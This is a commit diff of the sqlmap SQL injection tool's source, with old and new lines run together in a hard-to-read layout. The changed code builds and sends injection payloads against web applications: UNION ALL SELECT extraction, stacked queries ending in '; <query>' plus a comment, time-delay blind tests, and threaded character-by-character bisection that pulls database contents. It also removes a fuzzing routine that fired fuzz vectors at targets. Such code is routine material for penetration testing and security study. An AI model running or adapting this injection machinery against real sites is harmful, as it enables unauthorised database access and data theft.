message += "[a] All (default)\n[#] Specific number\n" message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: " message += "[q] Quit\nChoice: "
@@ -229,49 +228,31 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ): elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does " warnMsg = "the SQL query provided does not "
warnMsg += "not return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does " warnMsg = "the SQL query provided does not "
warnMsg += "not return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
limitedExpr = expression limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output) outputs.append(output)
@@ -284,6 +265,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs]) returnValue = ", ".join([output for output in outputs])
else: else:
returnValue = __goInference(payload, expression) returnValue = __goInference(payload, expression)
@@ -296,7 +278,6 @@ def __goInband(expression, expected=None):
injection vulnerability on the affected parameter. injection vulnerability on the affected parameter.
""" """
counter = None
output = None output = None
partial = False partial = False
data = [] data = []
@@ -313,49 +294,10 @@ def __goInband(expression, expected=None):
partial = True partial = True
if not output: if not output:
output = unionUse(expression) output = unionUse(expression, resetCounter=True)
fields = expression.split(",")
counter = len(fields)
if output: if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) data = parseUnionPage(output, expression, partial, condition)
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data return data
@@ -370,12 +312,34 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
expression = cleanQuery(expression) expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression) expression = expandAsteriskForColumns(expression)
value = None value = None
if inband and conf.unionUse and kb.dbms: if inband and conf.unionUse and kb.dbms:
value = __goInband(expression, expected) value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value: if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected) value = __goInferenceProxy(expression, fromUser, expected)
return value return value
def goStacked(expression):
"""
TODO: write description
"""
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True)
return payload, page

View File

@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import threading import threading
import time import time
import traceback
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
@@ -34,7 +35,10 @@ from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapValueException from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapThreadException
from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
@@ -46,13 +50,16 @@ def bisection(payload, expression, length=None):
on an affected host on an affected host
""" """
partialValue = ""
finalValue = ""
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, fieldToCast = agent.getFields(expression) _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCast) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced) expressionUnescaped = unescaper.unescape(expressionReplaced)
else: else:
expressionUnescaped = unescaper.unescape(expression) expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg) logger.info(infoMsg)
@@ -102,6 +109,7 @@ def bisection(payload, expression, length=None):
maxValue = limit maxValue = limit
if (maxValue - minValue) == 1: if (maxValue - minValue) == 1:
# NOTE: this first condition should never occur
if maxValue == 1: if maxValue == 1:
return None return None
else: else:
@@ -145,7 +153,7 @@ def bisection(payload, expression, length=None):
val = getChar(curidx) val = getChar(curidx)
if val == None: if val == None:
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length) raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val value[curidx-1] = val
@@ -157,9 +165,38 @@ def bisection(payload, expression, length=None):
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s)) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release() iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
conf.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
conf.threadException = True
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
# Start the threads # Start the threads
for _ in range(numThreads): for numThread in range(numThreads):
thread = threading.Thread(target=downloadThread) thread = threading.Thread(target=downloadThreadProxy(numThread))
thread.start() thread.start()
threads.append(thread) threads.append(thread)
@@ -167,19 +204,27 @@ def bisection(payload, expression, length=None):
for thread in threads: for thread in threads:
thread.join() thread.join()
assert None not in value # If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, str) and v != None:
partialValue += v
value = "".join(value) if partialValue:
finalValue = partialValue
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
assert index[0] == length if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
dataToSessionFile(replaceNewlineTabs(value)) if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
dataToStdout(infoMsg)
if conf.verbose in ( 1, 2 ) and not showEta:
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
else: else:
value = ""
index = 0 index = 0
while True: while True:
@@ -190,7 +235,7 @@ def bisection(payload, expression, length=None):
if val == None: if val == None:
break break
value += val finalValue += val
dataToSessionFile(replaceNewlineTabs(val)) dataToSessionFile(replaceNewlineTabs(val))
@@ -203,9 +248,13 @@ def bisection(payload, expression, length=None):
dataToStdout("\n") dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3: if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % value infoMsg = "retrieved: %s" % finalValue
logger.info(infoMsg) logger.info(infoMsg)
dataToSessionFile("]\n") if not partialValue:
dataToSessionFile("]\n")
return queriesCount[0], value if conf.threadException:
raise sqlmapThreadException, "something unexpected happen into the threads"
return queriesCount[0], finalValue

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with AND condition syntax"
logger.warn(warnMsg)
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with stacked query syntax"
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest

View File

@@ -28,6 +28,7 @@ from lib.core.agent import agent
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion from lib.core.session import setUnion
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
@@ -92,9 +93,9 @@ def unionTest():
value = "" value = ""
query = agent.prefixQuery("UNION ALL SELECT NULL") query = agent.prefixQuery(" UNION ALL SELECT NULL")
for comment in ("--", "#", "/*", ";", "%00"): for comment in (queries[kb.dbms].comment, ""):
value = __effectiveUnionTest(query, comment) value = __effectiveUnionTest(query, comment)
if value: if value:

View File

@@ -24,14 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion from lib.core.session import setUnion
@@ -39,12 +42,23 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
def __unionPosition(count, expression): reqCount = 0
logMsg = "confirming inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg) def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using # For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is # the UNION ALL SELECT statement to test it the target url is
@@ -64,17 +78,17 @@ def __unionPosition(count, expression):
# Forge the inband SQL injection request # Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query, negative=negative)
# Perform the request # Perform the request
resultPage = Request.queryPage(payload, content=True) resultPage, _ = Request.queryPage(payload, content=True)
count += 1 reqCount += 1
# We have to assure that the randQuery value is not within the # We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there # HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL # when the query is wrong and the back-end DBMS is Microsoft SQL
# server # server
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML) htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed: if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition) setUnion(position=exprPosition)
@@ -82,29 +96,39 @@ def __unionPosition(count, expression):
break break
if isinstance(kb.unionPosition, int): if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable " infoMsg = "the target url is affected by an exploitable "
logMsg += "inband sql injection vulnerability" infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(logMsg) logger.info(infoMsg)
else: else:
warnMsg = "the target url is not affected by an exploitable " warnMsg = "the target url is not affected by an exploitable "
warnMsg += "inband sql injection vulnerability, sqlmap will " warnMsg += "%s inband sql injection vulnerability" % negLogMsg
warnMsg += "retrieve the expression output through blind sql "
warnMsg += "injection technique" if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg) logger.warn(warnMsg)
return count
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
def unionUse(expression):
""" """
This function tests for an inband SQL injection on the target This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url inband SQL injection on the affected url
""" """
count = 0 count = None
origExpr = expression origExpr = expression
start = time.time() start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount: if not kb.unionCount:
unionTest() unionTest()
@@ -113,42 +137,164 @@ def unionUse(expression):
return return
# Prepare expression with delimiters # Prepare expression with delimiters
expression = agent.concatQuery(expression) if unescape:
expression = unescaper.unescape(expression) expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column # Confirm the inband SQL injection and get the exact column
# position only once # position only once
if not isinstance(kb.unionPosition, int): if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression) __unionPosition(expression)
# Assure that the above function found the exploitable inband # Assure that the above function found the exploitable full inband
# SQL injection position # SQL injection position
if not isinstance(kb.unionPosition, int): if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return return
# Forge the inband SQL injection request # Parse the returned page to get the exact inband
query = agent.forgeInbandQuery(expression) # sql injection output
payload = agent.payload(newValue=query) startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
logMsg = "query: %s" % query duration = int(time.time() - start)
logger.info(logMsg)
# Perform the request infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
resultPage = Request.queryPage(payload, content=True) logger.info(infoMsg)
count += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
duration = int(time.time() - start)
logMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(logMsg)
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
return value return value

View File

@@ -22,22 +22,4 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
pass
from lib.core.agent import agent
from lib.core.data import logger
from lib.core.data import paths
from lib.request.connect import Connect as Request
def passiveFuzzing():
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
logger.info(logMsg)
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
for fuzzVector in fuzzVectors:
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
payload = agent.payload(newValue=fuzzVector)
Request.queryPage(payload)

View File

@@ -0,0 +1,60 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
def stackedTest():
infoMsg = "testing stacked queries support on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
query = queries[kb.dbms].timedelay % SECONDS
start = time.time()
payload, _ = inject.goStacked(query)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the web application supports stacked queries "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
kb.stackedTest = payload
else:
warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter
logger.warn(warnMsg)
kb.stackedTest = False
return kb.stackedTest

View File

@@ -30,6 +30,7 @@ import urllib2
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException from lib.core.exception import sqlmapRegExprException
@@ -68,13 +69,9 @@ class Google:
your Google dork search results your Google dork search results
""" """
targetUrls = set()
for match in self.__matches: for match in self.__matches:
if re.search("(.*?)\?(.+)", match, re.I): if re.search("(.*?)\?(.+)", match, re.I):
targetUrls.add(match) kb.targetUrls.add(( match, None, None, None ))
return targetUrls
def getCookie(self): def getCookie(self):

View File

@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
@@ -40,14 +41,18 @@ def checkForParenthesis():
is within the parenthesis. is within the parenthesis.
""" """
if kb.parenthesis != None:
return kb.parenthesis
logMsg = "testing for parenthesis on injectable parameter" logMsg = "testing for parenthesis on injectable parameter"
logger.info(logMsg) logger.info(logMsg)
count = 0 count = 0
if kb.parenthesis != None:
return
if conf.prefix or conf.postfix:
kb.parenthesis = 0
return
for parenthesis in range(1, 4): for parenthesis in range(1, 4):
query = agent.prefixQuery("%s " % (")" * parenthesis)) query = agent.prefixQuery("%s " % (")" * parenthesis))
query += "AND %s" % ("(" * parenthesis) query += "AND %s" % ("(" * parenthesis)

View File

@@ -32,7 +32,7 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.techniques.inference.blind import bisection from lib.techniques.blind.inference import bisection
def queryOutputLength(expression, payload): def queryOutputLength(expression, payload):
@@ -126,7 +126,7 @@ def resume(expression, payload):
# If we called this function without providing a payload it means that # If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function # we have called it from lib/request/inject __goInband() function
# in UNION SELECT (inband) SQL injection so we return to the calling # in UNION query (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage # function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability. # of the inband SQL injection vulnerability.
if not payload: if not payload:

View File

@@ -28,6 +28,7 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt from lib.core.common import randomInt
@@ -35,7 +36,6 @@ from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
@@ -43,10 +43,8 @@ from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -124,16 +122,32 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self): def getFingerprint(self):
actVer = formatFingerprint() value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if not conf.extensiveFp: if wsOsFp:
return actVer value += "%s\n" % wsOsFp
blank = " " * 16
value = "active fingerprint: %s" % actVer
if self.banner: if self.banner:
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML) dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack: if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release banVer = "Microsoft SQL Server %s " % release
@@ -142,11 +156,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing() htmlErrorFp = getHtmlErrorFp()
htmlParsed = getHtmlErrorFp()
if htmlParsed: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value return value
@@ -155,6 +168,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getPrematureBanner("@@VERSION")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
@@ -162,10 +177,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
logger.info(logMsg) logger.info(logMsg)
randInt = str(randomInt(1)) randInt = str(randomInt(1))
query = "LTRIM(STR(LEN(%s)))" % randInt query = "LTRIM(STR(LEN(%s)))" % randInt
